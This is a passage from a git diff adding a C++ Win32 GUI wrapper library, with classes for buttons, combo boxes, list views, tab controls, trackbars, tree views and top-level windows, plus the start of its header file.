case WM_RBUTTONDOWN: + this->OnMouseRightButtonDown(this, hWnd, message, wParam, lParam); + break; + case WM_MBUTTONDOWN: + this->OnMouseMiddleButtonDown(this, hWnd, message, wParam, lParam); + break; + case WM_LBUTTONUP: + this->OnMouseLeftButtonUp(this, hWnd, message, wParam, lParam); + break; + case WM_RBUTTONUP: + this->OnMouseRightButtonUp(this, hWnd, message, wParam, lParam); + break; + case WM_MBUTTONUP: + this->OnMouseMiddleButtonUp(this, hWnd, message, wParam, lParam); + break; + case WM_KEYDOWN: + this->OnKeyDown(this, hWnd, message, wParam, lParam); + break; + case WM_KEYUP: + this->OnKeyUp(this, hWnd, message, wParam, lParam); + break; + case WM_SETFOCUS: + this->OnGotFocus(this, hWnd, message, wParam, lParam); + break; + case WM_KILLFOCUS: + this->OnLostFocus(this, hWnd, message, wParam, lParam); + break; + case WM_MOVE: + this->OnMoved(this, hWnd, message, wParam, lParam); + break; + case WM_SIZE: + this->OnSizeChanged(this, hWnd, message, wParam, lParam); + break; + case WM_COMMAND: + { + switch (HIWORD(wParam)) + { + case CBN_SELCHANGE: + this->OnSelectionChanged(this, hWnd, message, wParam, lParam); + break; + case BN_DOUBLECLICKED: + { + if (this->Class == WC_BUTTON) + this->OnDoubleClicked(this, hWnd, message, wParam, lParam); + else + this->OnEditChanged(this, hWnd, message, wParam, lParam); + } + break; + case EN_CHANGE: + this->OnChanged(this, hWnd, message, wParam, lParam); + break; + case BN_CLICKED: + this->OnClicked(this, hWnd, message, wParam, lParam); + break; + case LBN_DBLCLK: + this->OnDoubleClicked(this, hWnd, message, wParam, lParam); + break; + } + } + break; + } + return NULL; +} +Button::Button(Control* parent) +{ + this->m_Handle = CreateWindow( + WC_BUTTON, + L"", + WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,// | BS_FLAT + CW_USEDEFAULT, + CW_USEDEFAULT, + 100, + 20, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +CheckBox::CheckBox(Control* parent) +{ + this->m_Handle = CreateWindow( + WC_BUTTON, + L"", + WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_AUTOCHECKBOX, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +ComboBox::ComboBox(Control* parent) +{ + this->m_Handle = CreateWindow( + WC_COMBOBOX, + L"", + CBS_DROPDOWNLIST | CBS_DISABLENOSCROLL | WS_CHILD | WS_VISIBLE | WS_VSCROLL, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} + +GET_CPP(ComboBox, int, SelectedIndex) +{ + return SendMessage((HWND)this->m_Handle, (UINT)CB_GETCURSEL, (WPARAM)0, (LPARAM)0); +} +SET_CPP(ComboBox, int, SelectedIndex) +{ + SendMessage((HWND)this->m_Handle, (UINT)CB_SETCURSEL, (WPARAM)value, (LPARAM)0); +} +GET_CPP(ComboBox, std::wstring, SelectedItem) +{ + TCHAR ListItem[256]; + SendMessage((HWND)this->m_Handle, (UINT)CB_GETLBTEXT, (WPARAM)this->SelectedIndex, (LPARAM)ListItem); + return ListItem; +} +std::wstring ComboBox::operator[](int index) +{ + TCHAR ListItem[256]; + SendMessage((HWND)this->m_Handle, (UINT)CB_GETLBTEXT, (WPARAM)index, (LPARAM)ListItem); + return ListItem; +} + +void ComboBox::AddItem(std::wstring index) +{ + SendMessage((HWND)this->m_Handle, (UINT)CB_ADDSTRING, (WPARAM)0, (LPARAM)index.c_str()); +} +GET_CPP(ComboBox, int, Count) +{ + return SendMessage((HWND)this->m_Handle, (UINT)CB_GETCOUNT, (WPARAM)0, (LPARAM)0); +} +void ComboBox::Clear() +{ + SendMessage((HWND)this->m_Handle, (UINT)CB_RESETCONTENT, (WPARAM)0, (LPARAM)0); +} +void ComboBox::RemoveAt(int index) +{ + SendMessage(this->m_Handle, LB_DELETESTRING, index, 0); +} +GroupBox::GroupBox(Control* parent) +{ + this->m_Handle = CreateWindow( + WC_BUTTON, + L"", + WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_GROUPBOX, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +Label::Label(Control* parent) +{ + this->m_Handle = CreateWindow( + WC_STATIC, + L"", + WS_CHILD | WS_VISIBLE | SS_NOTIFY, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +ListBox::ListBox(Control* parent) +{ + this->m_Handle = CreateWindow( + WC_LISTBOX, + L"", + WS_TABSTOP | WS_VISIBLE | WS_CHILD | WS_BORDER | WS_VSCROLL | ES_AUTOVSCROLL | BS_DEFPUSHBUTTON, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +void ListBox::AddItem(std::wstring item) +{ + SendMessage(this->m_Handle, LB_ADDSTRING, 0, (LPARAM)item.c_str()); +} +void ListBox::RemoveAt(int index) +{ + SendMessage(this->m_Handle, LB_DELETESTRING, index, 0); +} +std::wstring ListBox::operator[](int index) +{ + TCHAR ListItem[256]; + SendMessage(this->m_Handle, LB_GETTEXT, index, (LPARAM)ListItem); + return ListItem; +} +void ListBox::Clear() +{ + SendMessage(this->m_Handle, LB_RESETCONTENT, 0, 0); +} +GET_CPP(ListBox, int, Count) +{ + return SendMessage(this->m_Handle, LB_GETCOUNT, 0, 0); +} +ListView::ListView(Control* parent) +{ + INITCOMMONCONTROLSEX icex; + icex.dwICC = ICC_LISTVIEW_CLASSES; + InitCommonControlsEx(&icex); + this->m_Handle = CreateWindow( + WC_LISTVIEW, + L"", + WS_BORDER | WS_HSCROLL | LVS_AUTOARRANGE | LVS_ICON | LVS_SINGLESEL | LVS_SHOWSELALWAYS | WS_VISIBLE | WS_CHILD | LVS_REPORT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + SendMessage(this->m_Handle, LVM_SETEXTENDEDLISTVIEWSTYLE, + LVS_EX_FULLROWSELECT, LVS_EX_FULLROWSELECT); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +GET_CPP(ListView, int, ColumnCount) +{ + HWND hWndHdr = (HWND)::SendMessage(this->m_Handle, LVM_GETHEADER, 0, 0); + return (int)::SendMessage(hWndHdr, HDM_GETITEMCOUNT, 0, 0L); +} +GET_CPP(ListView, int, RowCount) +{ + return ListView_GetItemCount(this->m_Handle); +} +SET_CPP(ListView, int, RowCount) +{ + ListView_SetItemCount(this->m_Handle, value); +} +void ListView::AddColumn(LVCOLUMN col) +{ + col.iSubItem = this->ColumnCount; + ListView_InsertColumn(this->m_Handle, col.iSubItem, &col); +} +void ListView::AddColumn(std::wstring name, int width, DWORD align, DWORD flag) +{ + LVCOLUMN lvc; + lvc.mask = flag; + lvc.cx = width; + lvc.fmt = align; + lvc.pszText = (LPWSTR)name.c_str(); + this->AddColumn(lvc); +} +void ListView::RemoveColumn(int colIndex) +{ + ListView_DeleteColumn(this->m_Handle, colIndex); +} +int ListView::AddRow() +{ + LVITEM ite = { 0 }; + ite.mask = LVIF_TEXT; + ite.pszText = (LPWSTR)L""; + ite.iItem = this->RowCount; + return ListView_InsertItem(this->m_Handle, &ite); +} +void ListView::SetItemText(int col, int row, std::wstring text) +{ + ListView_SetItemText(this->m_Handle, row, col, (LPWSTR)text.c_str()); +} +void ListView::Clear() +{ + ListView_DeleteAllItems(this->m_Handle); +} +GET_CPP(ListView, int, SelectedRowIndex) +{ + return ListView_GetNextItem(this->m_Handle, -1, LVNI_SELECTED); +} +SET_CPP(ListView, int, SelectedRowIndex) +{ + ListView_SetItemState(this->m_Handle, value, LVIS_SELECTED, LVIS_SELECTED); +} +LVITEM ListView::GetItem(int colIndex, int rowIndex) +{ + LVITEM item = { 0 }; + item.iItem = rowIndex; + item.iSubItem = colIndex; + item.mask = LVIF_TEXT; + item.pszText = new wchar_t[0xFF]; + item.cchTextMax = 0xFF; + ListView_GetItem(this->m_Handle, &item); + return item; +} +std::wstring ListView::GetItemText(int colIndex, int rowIndex) +{ + LVITEM item = this->GetItem(colIndex, rowIndex); + return item.pszText; +} +ProgressBar::ProgressBar(Control* parent) +{ + //ANIMATE_CLASS + this->m_Handle = CreateWindow( + PROGRESS_CLASS, + L"", + WS_CHILD | WS_VISIBLE | PBS_SMOOTH, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} + +GET_CPP(ProgressBar, int, MaxValue) +{ + return SendMessage(this->m_Handle, PBM_GETRANGE, FALSE, 0); +} +SET_CPP(ProgressBar, int, MaxValue) +{ + SendMessage(this->m_Handle, PBM_SETRANGE, 0, MAKELPARAM(0, value)); +} +GET_CPP(ProgressBar, int, MinValue) +{ + return SendMessage(this->m_Handle, PBM_GETRANGE, TRUE, 0); +} +SET_CPP(ProgressBar, int, MinValue) +{ + SendMessage(this->m_Handle, PBM_SETRANGE, 0, MAKELPARAM(value, this->MaxValue)); +} +GET_CPP(ProgressBar, int, Value) +{ + return SendMessage(this->m_Handle, PBM_GETPOS, 0, 0); +} +SET_CPP(ProgressBar, int, Value) +{ + SendMessage(this->m_Handle, PBM_SETPOS, value, 0); +} +RadioBox::RadioBox(Control* parent) +{ + this->m_Handle = CreateWindow( + WC_BUTTON, + L"", + WS_TABSTOP | WS_VISIBLE | WS_CHILD | BS_AUTORADIOBUTTON, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +RichTextBox::RichTextBox(Control* parent) +{ + if (!LoadLibrary(TEXT("Msftedit.dll"))) + if (!LoadLibrary(TEXT("Riched20.dll"))) + if (!LoadLibrary(TEXT("Riched32.dll"))) + throw std::exception("Failed to load RichEdit DLL"); + this->m_Handle = CreateWindow( + MSFTEDIT_CLASS, + L"", + ES_MULTILINE | WS_VISIBLE | WS_CHILD | WS_BORDER | WS_TABSTOP | WS_VSCROLL, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + (HMENU)ID_EDITCHILD, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} + +void RichTextBox::AppendText(std::wstring str) +{ + int len = GetWindowTextLength(this->m_Handle); + SendMessage(this->m_Handle, EM_SETSEL, len, len); + SendMessage(this->m_Handle, EM_REPLACESEL, 0, (LPARAM)str.c_str()); +} +void RichTextBox::AppendLine(std::wstring str) +{ + this->AppendText(str + L"\r\n"); +} + +void RichTextBox::ScrollToCaret() +{ + SendMessage(this->m_Handle, EM_SCROLLCARET, 0, 0); +} +ScrollBar::ScrollBar(Control* parent, ScrollBarDirection dir) +{ + this->m_Handle = CreateWindow( + L"SCROLLBAR", + L"", + WS_CHILD | WS_VISIBLE | (DWORD)(dir == ScrollBarDirection::Horizontal ? SBS_HORZ : SBS_VERT), + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +TabPage::TabPage(Control* parent) +{ + this->m_Handle = CreateWindow( + WC_STATIC, + L"", + WS_CHILD | WS_VISIBLE, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +TabControl::TabControl(Control* parent) +{ + INITCOMMONCONTROLSEX icex; + icex.dwSize = sizeof(INITCOMMONCONTROLSEX); + icex.dwICC = ICC_TAB_CLASSES; + InitCommonControlsEx(&icex); + + this->m_Handle = CreateWindow( + WC_TABCONTROL, + L"", + WS_CHILD | WS_VISIBLE, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +TabPage* TabControl::AddPage(std::wstring item) +{ + TCITEM tie; + tie.mask = TCIF_TEXT; + tie.pszText = (LPWSTR)item.c_str(); + SendMessage(this->m_Handle, TCM_INSERTITEM, this->Count, (LPARAM)&tie); + TabPage* page = new TabPage(this); + this->pages.Add(page); + RECT clientRect; + GetClientRect(this->m_Handle, &clientRect); + TabCtrl_AdjustRect(this->m_Handle, FALSE, &clientRect); + page->Rect = clientRect; + this->UpdatePages(); + return page; +} +void TabControl::RemoveAt(int index) +{ + if (index >= 0 && this->pages.Count > index) + { + this->pages[index]->Visable = false; + this->pages.RemoveAt(index); + SendMessage(this->m_Handle, TCM_DELETEITEM, index, 0); + this->pages[index]->Parent = NULL; + this->UpdatePages(); + } +} +std::wstring TabControl::operator[](int index) +{ + TCITEM tie; + TabCtrl_GetItem(this->m_Handle, index, &tie); + return tie.pszText; +} +void TabControl::Clear() +{ + SendMessage(this->m_Handle, TCM_DELETEALLITEMS, 0, 0); + this->UpdatePages(); +} +GET_CPP(TabControl, int, Count) +{ + return TabCtrl_GetItemCount(this->m_Handle); +} +GET_CPP(TabControl, int, SelectedIndex) +{ + return TabCtrl_GetCurSel(this->m_Handle); +} +GET_CPP(TabControl, TabPage**, Pages) +{ + return this->pages.data(); +} + +void TabControl::UpdatePages() +{ + RECT clientRect; + GetClientRect(this->m_Handle, &clientRect); + TabCtrl_AdjustRect(this->m_Handle, FALSE, &clientRect); + for (int i = 0; i < this->pages.Count; i++) + { + if (i != this->SelectedIndex) + { + this->pages[i]->Visable = FALSE; + } + else + { + this->pages[i]->Rect = clientRect; + this->pages[i]->Visable = TRUE; + } + } +} +LRESULT TabControl::ProcessEvent(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_MOVE: + { + this->UpdatePages(); + break; + } + case WM_SIZE: + { + this->UpdatePages(); + break; + } + case WM_NOTIFY: + { + this->UpdatePages(); + break; + } + } + return TRUE; +} +TextBox::TextBox(Control* parent) +{ + this->m_Handle = CreateWindow( + WC_EDIT, + L"", + WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT | ES_AUTOHSCROLL, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + (HMENU)ID_EDITCHILD, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + SendMessage(this->m_Handle, EM_LIMITTEXT, (WPARAM)INT_MAX, 0); + this->CaptureMessage(); +} +GET_CPP(TextBox, const wchar_t, PasswordChar) +{ + return (wchar_t)SendMessage(this->m_Handle, EM_GETPASSWORDCHAR, 0, 0); +} +SET_CPP(TextBox, const wchar_t, PasswordChar) +{ + SendMessage(this->m_Handle, EM_SETPASSWORDCHAR, value, 0); +} + +GET_CPP(TextBox, BOOL, PasswordBox) +{ + return this->Style & ES_PASSWORD == ES_PASSWORD; +} +SET_CPP(TextBox, BOOL, PasswordBox) +{ + if (value) + this->Style |= ES_PASSWORD; + else + this->Style &= ~ES_PASSWORD; +} +Tooltip::Tooltip(Control* parent) +{ + this->bindControl = parent; + this->m_Handle = CreateWindowEx(NULL, + TOOLTIPS_CLASS, + NULL, + WS_POPUP | TTS_ALWAYSTIP | TTS_BALLOON, + CW_USEDEFAULT, CW_USEDEFAULT, + CW_USEDEFAULT, CW_USEDEFAULT, + parent->Parent, NULL, + GetModuleHandle(NULL), this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); +} + +void Tooltip::SetMessage(std::wstring text) +{ + TOOLINFO ti = { 0 }; + ti.cbSize = sizeof(TOOLINFO); + ti.hwnd = this->bindControl->Parent; + ti.uFlags = TTF_IDISHWND | TTF_SUBCLASS; + ti.uId = (UINT_PTR)this->bindControl->m_Handle; + ti.lpszText = (LPWSTR)text.c_str(); + SendMessage(this->m_Handle, TTM_ACTIVATE, TRUE, 0); + SendMessage(this->m_Handle, TTM_ADDTOOL, NULL, (LPARAM)&ti); +} +Trackbar::Trackbar(Control* parent) +{ + this->m_Handle = CreateWindow( + TRACKBAR_CLASS, + L"", + WS_CHILD | WS_VISIBLE | TBS_AUTOTICKS | TBS_ENABLESELRANGE, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} + +GET_CPP(Trackbar, int, Value) +{ + return SendMessage(this->m_Handle, TBM_GETPOS, 0, 0); +} +SET_CPP(Trackbar, int, Value) +{ + SendMessage(this->m_Handle, TBM_SETPOS, TRUE, value); +} +GET_CPP(Trackbar, int, MinValue) +{ + return SendMessage(this->m_Handle, TBM_GETRANGEMIN, 0, 0); +} +SET_CPP(Trackbar, int, MinValue) +{ + SendMessage(this->m_Handle, TBM_SETRANGEMIN, TRUE, value); +} +GET_CPP(Trackbar, int, MaxValue) +{ + return SendMessage(this->m_Handle, TBM_GETRANGEMAX, 0, 0); +} +SET_CPP(Trackbar, int, MaxValue) +{ + SendMessage(this->m_Handle, TBM_SETRANGEMAX, TRUE, value); +} +GET_CPP(Trackbar, int, SelStart) +{ + return SendMessage(this->m_Handle, TBM_GETSELEND, 0, 0); +} +SET_CPP(Trackbar, int, SelStart) +{ + SendMessage(this->m_Handle, TBM_SETSELSTART, TRUE, value); +} +GET_CPP(Trackbar, int, SelEnd) +{ + return SendMessage(this->m_Handle, TBM_GETSELEND, 0, 0); +} +SET_CPP(Trackbar, int, SelEnd) +{ + SendMessage(this->m_Handle, TBM_SETSELEND, TRUE, value); +} +TreeView::TreeView(Control* parent) +{ + this->m_Handle = CreateWindow( + WC_TREEVIEW, + L"", + WS_VISIBLE | WS_CHILD | WS_BORDER | TVS_HASLINES, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +void TreeView::Clear() +{ + TreeView_DeleteAllItems(m_Handle); +} +HTREEITEM TreeView::AddItem(const std::wstring& text, HTREEITEM parent) +{ + TVINSERTSTRUCT tvis; + tvis.hParent = parent; + tvis.hInsertAfter = TVI_LAST; + tvis.item.mask = TVIF_TEXT; + tvis.item.pszText = (LPWSTR)text.c_str(); + return TreeView_InsertItem(m_Handle, &tvis); +} +BOOL TreeView::RemoveItem(HTREEITEM it) +{ + return TreeView_DeleteItem(m_Handle, it); +} +GET_CPP(TreeView, HTREEITEM, Selected) +{ + return TreeView_GetSelection(m_Handle); +} +GET_CPP(TreeView, std::wstring, SelectedString) +{ + return GetItemString(TreeView_GetSelection(m_Handle)); +} +GET_CPP(TreeView, int, Count) +{ + return TreeView_GetCount(m_Handle); +} +std::wstring TreeView::GetItemString(HTREEITEM it) +{ + TVITEM tvi; + tvi.mask = TVIF_TEXT; + tvi.hItem = it; + tvi.pszText = new TCHAR[256]; + tvi.cchTextMax = 256; + TreeView_GetItem(m_Handle, &tvi); + std::wstring ret = tvi.pszText; + delete[] tvi.pszText; + return ret; +} +DatePicker::DatePicker(Control* parent) +{ + this->m_Handle = CreateWindow( + DATETIMEPICK_CLASS, + L"", + WS_BORDER | WS_CHILD | WS_VISIBLE | DTS_SHORTDATEFORMAT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +TimePicker::TimePicker(Control* parent) +{ + this->m_Handle = CreateWindow( + DATETIMEPICK_CLASS, + L"", + WS_BORDER | WS_CHILD | WS_VISIBLE | DTS_TIMEFORMAT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + parent->m_Handle, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} +BOOL Window::ClassInited = FALSE; +int Window::g_WindowCount = 0; +List Window::Windows = List(); +LRESULT CALLBACK WINMSG_PROCESS(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); +void Window::InitWindowClass() +{ + WNDCLASSW wndclass = { 0 }; + if (!ClassInited) + { + wndclass.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS; + wndclass.cbClsExtra = NULL; + wndclass.cbWndExtra = NULL; + wndclass.lpfnWndProc = WINMSG_PROCESS; + wndclass.hInstance = GetModuleHandle(NULL); + wndclass.hIcon = LoadIconW(NULL, MAKEINTRESOURCEW(32512)); + wndclass.hCursor = LoadCursorW(NULL, MAKEINTRESOURCEW(32512)); + wndclass.lpszMenuName = NULL; + wndclass.lpszClassName = L"CoreNativeWindow"; + wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); + if (!RegisterClassW(&wndclass)) + return; + ClassInited = TRUE; + } +} +Window::Window() +{ + InitWindowClass(); + this->m_Handle = CreateWindow( + L"CoreNativeWindow", + L"", + WS_OVERLAPPEDWINDOW, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + CW_USEDEFAULT, + NULL, + NULL, + GetModuleHandle(NULL), + this); + ::SetWindowLongPtrW(m_Handle, GWLP_USERDATA, (LONG_PTR)this); + this->SetFont(Control::DefaultFont()); + this->CaptureMessage(); +} + +void Window::Show() +{ + ShowWindow(m_Handle, SW_SHOWNORMAL); +} +void Window::ShowDialog(HWND parent) +{ + ::ShowWindow(m_Handle, SW_SHOWNORMAL); + MSG msg; + while (IsWindow(this->m_Handle) && ::GetMessage(&msg, NULL, 0, 0)) + { + Control* control = (Control*)GetWindowLongPtr(msg.hwnd, GWLP_USERDATA); + ::TranslateMessage(&msg); + if (msg.hwnd == this->m_Handle || + control == NULL || + (msg.message == WM_SYSCOMMAND && msg.wParam == SC_RESTORE) || + control->TopLevelWindow == this + ) + { + ::DispatchMessageW(&msg); + } + }; +} +void Window::Run() +{ + MSG msg; + while (GetMessage(&msg, NULL, 0, 0)) + { + TranslateMessage(&msg); + DispatchMessageW(&msg); + }; +} +void Window::DoEvent() +{ + MSG msg; + if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) + { + TranslateMessage(&msg); + DispatchMessage(&msg); + } +} +GET_CPP(Window, COLORREF, BackColor) +{ + return m_BackColor; +} +SET_CPP(Window, COLORREF, BackColor) +{ + m_BackColor = value; +} +GET_CPP(Window, HICON, Icon) +{ + return (HICON)SendMessage(this->m_Handle, WM_GETICON, ICON_BIG, 0); +} +SET_CPP(Window, HICON, Icon) +{ + SendMessage(this->m_Handle, WM_SETICON, ICON_BIG, (LPARAM)value); +} + +GET_CPP(Window, BOOL, CanResize) +{ + return (GetWindowLong(m_Handle, GWL_STYLE) & WS_SIZEBOX) == WS_SIZEBOX; +} +SET_CPP(Window, BOOL, CanResize) +{ + if (value) + SetWindowLong(m_Handle, GWL_STYLE, GetWindowLong(m_Handle, GWL_STYLE) | WS_SIZEBOX); + else + SetWindowLong(m_Handle, GWL_STYLE, GetWindowLong(m_Handle, GWL_STYLE) & ~WS_SIZEBOX); +} +GET_CPP(Window, BOOL, MaxBox) +{ + return (GetWindowLong(m_Handle, GWL_STYLE) & WS_MAXIMIZEBOX) == WS_MAXIMIZEBOX; +} +SET_CPP(Window, BOOL, MaxBox) +{ + if (value) + SetWindowLong(m_Handle, GWL_STYLE, GetWindowLong(m_Handle, GWL_STYLE) | WS_MAXIMIZEBOX); + else + SetWindowLong(m_Handle, GWL_STYLE, GetWindowLong(m_Handle, GWL_STYLE) & ~WS_MAXIMIZEBOX); +} +GET_CPP(Window, BOOL, MinBox) +{ + return (GetWindowLong(m_Handle, GWL_STYLE) & WS_MINIMIZEBOX) == WS_MINIMIZEBOX; +} +SET_CPP(Window, BOOL, MinBox) +{ + if (value) + SetWindowLong(m_Handle, GWL_STYLE, GetWindowLong(m_Handle, GWL_STYLE) | WS_MINIMIZEBOX); + else + SetWindowLong(m_Handle, GWL_STYLE, GetWindowLong(m_Handle, GWL_STYLE) & ~WS_MINIMIZEBOX); +} +void Window::Close() +{ + DestroyWindow(m_Handle); +} +LRESULT CALLBACK WINMSG_PROCESS(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + Control* wnd = (Control*)GetWindowLongPtrW(hWnd, GWLP_USERDATA); + if (wnd == NULL && (message == WM_NCCREATE || message == WM_CREATE)) + { + LPCREATESTRUCTW pCreate = reinterpret_cast(lParam); + wnd = (Control*)pCreate->lpCreateParams; + } + if (wnd == NULL) + return DefWindowProc(hWnd, message, wParam, lParam); + wnd->ProcessEvent(hWnd, message, wParam, lParam); + //printf("%ws : %X --- %X\n", wnd->Class.c_str(), message, HIWORD(wParam)); + switch (message) + { + case WM_CREATE: + { + Window::g_WindowCount += 1; + Window::Windows.Add(hWnd); + } + break; + case WM_DESTROY: + { + Window::g_WindowCount -= 1; + Window::Windows.Remove(hWnd); + if (Window::g_WindowCount <= 0) + exit(0); + } + break; + case WM_CLOSE: + { + DestroyWindow(hWnd); + } + break; + case WM_CTLCOLORSTATIC: + { + SetBkMode((HDC)wParam, TRANSPARENT); + return (LRESULT)GetStockObject(WHITE_BRUSH); + } + case WM_ERASEBKGND: + { + RECT rect = {}; + GetClientRect(hWnd, &rect); + HBRUSH blueBrush = CreateSolidBrush(wnd->BackColor); + FillRect((HDC)wParam, &rect, blueBrush); + DeleteObject(blueBrush); + } + break; + case WM_COMMAND: + { + auto child = (Control*)GetWindowLongPtrW((HWND)lParam, GWLP_USERDATA); + if (child) + child->ProcessEvent(hWnd, message, wParam, lParam); + } + break; + case WM_NOTIFY: + { + NMHDR* nmhdr = (NMHDR*)lParam; + auto child = (Control*)GetWindowLongPtrW(nmhdr->hwndFrom, GWLP_USERDATA); + if (child) + child->ProcessEvent(hWnd, message, wParam, lParam); + } + break; + } + return DefWindowProc(hWnd, message, wParam, lParam); +} \ No newline at end of file diff --git a/WinGUI/GUI/WinUI.h b/WinGUI/GUI/WinUI.h new file mode 100644 index 0000000..392a366 --- /dev/null +++ b/WinGUI/GUI/WinUI.h @@ -0,0 +1,377 @@ +#pragma once +#include +typedef Event EventHandler; +class Control +{ +protected: + static HFONT DefaultFont(); + static LRESULT CALLBACK CAPTURED_MESSAGE_PROCESS(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); + LRESULT(*MESSAGE_PROCESS)(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) = NULL; +public: + HWND m_Handle = NULL; + EventHandler OnClicked; + EventHandler OnDoubleClicked; + EventHandler OnChanged; + EventHandler OnEditChanged; + EventHandler OnSelectionChanged; + + EventHandler OnMouseLeftButtonDown; + EventHandler OnMouseLeftButtonUp; + + EventHandler OnMouseMiddleButtonDown; + EventHandler OnMouseMiddleButtonUp; + + EventHandler OnMouseRightButtonDown; + EventHandler OnMouseRightButtonUp; + + EventHandler OnMouseMove; + EventHandler OnMouseWheel; + + EventHandler 